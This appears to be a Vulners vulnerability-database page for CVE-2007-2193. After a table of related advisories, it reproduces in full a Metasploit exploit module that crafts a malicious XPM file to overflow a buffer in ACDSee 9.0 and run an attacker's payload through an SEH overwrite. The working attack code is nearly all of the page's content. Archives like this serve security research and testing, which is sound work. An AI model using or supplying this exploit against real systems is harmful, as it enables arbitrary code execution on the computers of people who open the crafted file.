| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2007-2193 | 25 Sep 201000:00 | – | circl | |
| ACD Systems ACDSee Products XPM File Handling Buffer Overflow (CVE-2007-2193) | 1 Feb 201000:00 | – | checkpoint_advisories | |
| CVE-2007-2193 | 24 Apr 200717:00 | – | cve | |
| CVE-2007-2193 | 24 Apr 200717:00 | – | cvelist | |
| ACDSee - '.XPM' File Section Buffer Overflow (Metasploit) | 25 Sep 201000:00 | – | exploitdb | |
| ACDSee XPM File Section Buffer Overflow | 7 Dec 200815:02 | – | metasploit | |
| CVE-2007-2193 | 24 Apr 200717:19 | – | nvd | |
| Stack overflow | 24 Apr 200717:19 | – | prion | |
| ACDSee XPM file handling buffer overflow | 10 May 200700:00 | – | saint | |
| ACDSee XPM file handling buffer overflow | 10 May 200700:00 | – | saint |
`##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'ACDSee XPM File Section Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in ACDSee 9.0.
When viewing a malicious XPM file with the ACDSee product,
a remote attacker could overflow a buffer and execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => 'MC',
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-2193' ],
[ 'OSVDB', '35236' ],
[ 'BID', '23620' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 23 2007',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xpm']),
], self.class)
end
def exploit
filler = rand_text_alpha_upper(rand(25) + 1)
# http://www.fileformat.info/format/xpm/
head = "/* XPM */\r\n"
head << "static char * #{filler}[] = {\r\n"
head << "\""
buff = rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)
foot = "\",\r\n" + "};\r\n"
xpm = head + buff + foot
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(xpm)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation